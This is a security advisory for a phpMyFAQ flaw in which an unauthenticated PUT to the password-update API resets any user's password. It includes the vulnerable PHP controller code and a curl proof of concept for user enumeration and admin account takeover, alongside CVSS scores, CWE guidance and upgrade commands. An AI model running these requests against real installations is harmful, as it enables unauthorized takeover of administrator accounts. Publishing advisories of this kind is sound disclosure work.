Skip to content

GHSA-w9xh-5f39-vq89 CVE-2026-35675

phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration

High Packagist
Severity
8.8 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.42%
Chance of exploitation in the next 30 days. Higher than 36.00% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-307 Improper Restriction of Excessive Authentication Attempts
CWE-359 Exposure of Private Personal Information to an Unauthorized Actor
CWE-640 Weak Password Recovery Mechanism for Forgotten Password
Fix
Available
2 packages have a fixed version

Description

Summary

An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body: #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]

public function updatePassword(Request $request): JsonResponse
{
    $data = json_decode($request->getContent());
    $username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
    $email = trim((string) Filter::filterEmail($data->email));
    if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
        $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
        $loginExist = $user->getUserByLogin($username);
        if ($loginExist && $email === $user->getUserData('email')) {
            // NO TOKEN CHECK
            // NO RATE LIMITING
            // NO EMAIL VERIFICATION
            $newPassword = $user->createPassword();
            $user->changePassword($newPassword);
            $mail->send(); // New password sent in plaintext
        }
    }
}


Root Causes:

  1. No time-limited cryptographic token required for password reset
  2. No rate limiting on the endpoint (allows unlimited username/email enumeration)
  3. No verification email sent to original address before reset
  4. New password sent in plaintext email without any confirmation step

PoC

Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"wrong@test.com"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"error":"The email doesn't exist..."} <- user exists but wrong email

OR

Response: {"error":"The user doesn't exist"} <- user doesn't exist

Step 2 - Password Reset (no token required):

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"admin@target.com"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"success":"Email has been sent."} The new plaintext password is sent to admin@target.com

Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.

Impact

Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted:

  • All phpMyFAQ administrators using default installations
  • Any organization using phpMyFAQ for internal knowledge bases
  • End users whose accounts could be compromised
  • Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address

Affected versions

Packagist

PackageVulnerableFixed in
phpmyfaq/phpmyfaq
< 4.1.3
4.1.3
thorsten/phpmyfaq
< 4.1.3
4.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpmyfaq/phpmyfaq Packagist → 4.1.3

composer
composer require phpmyfaq/phpmyfaq:^4.1.3

thorsten/phpmyfaq Packagist → 4.1.3

composer
composer require thorsten/phpmyfaq:^4.1.3

Severity breakdown

CVSS 4.0 8.8

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Weakness

CWE-307: Improper Restriction of Excessive Authentication Attempts

The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.

How to prevent it
  • Architecture and Design: Common protection mechanisms include: Disconnecting the user after a small number of failed attempts Implementing a timeout Locking out a targeted account Requiring a computational task on the user's part.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.

How to prevent it
  • Requirements: Identify and consult all relevant regulations for personal privacy. An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles. Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.
  • Architecture and Design: Carefully evaluate how secure design may interfere with privacy, and vice versa. Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.
  • Implementation, Operation: Some tools can automatically analyze documents to redact, strip, or "sanitize" private information, although some human review might be necessary. Tools may vary in terms of which document formats can be processed. When calling an external program to automatically generate or convert documents, invoke the program with any available options that avoid generating sensitive metadata. Some formats have well-defined fields that could contain private data, such as Exchangeable image file format (Exif), which can contain potentially sensitive metadata such as geolocation, date, and time [REF-1515] [REF-1516].

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

How to prevent it
  • Architecture and Design: Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.
  • Architecture and Design: Do not use standard weak security questions and use several security questions.
  • Architecture and Design: Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.
  • Architecture and Design: Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.
  • Architecture and Design: Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.
  • Architecture and Design: Assign a new temporary password rather than revealing the original password.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rw77-vq4g-x3hp
phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion
High Also affects phpmyfaq/phpmyfaq
GHSA-8gpw-xvpf-hvx5
phpMyFAQ's two-factor authentication login bypasses the password factor
High Also affects phpmyfaq/phpmyfaq
GHSA-pgwp-vc7q-cvj3
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
High Also affects phpmyfaq/phpmyfaq
GHSA-6pvm-2vjj-rx4w
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Medium Also affects thorsten/phpmyfaq
GHSA-mf8r-wm2w-f8c5
phpMyFAQ public FAQ APIs expose inactive FAQ content
Medium Also affects phpmyfaq/phpmyfaq
GHSA-88g4-74f3-63x9
phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
Medium Also affects phpmyfaq/phpmyfaq
GHSA-pg62-f8g4-4wqh
phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold
High Also affects phpmyfaq/phpmyfaq
GHSA-985r-q3qp-299h
phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards
High Also affects phpmyfaq/phpmyfaq
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor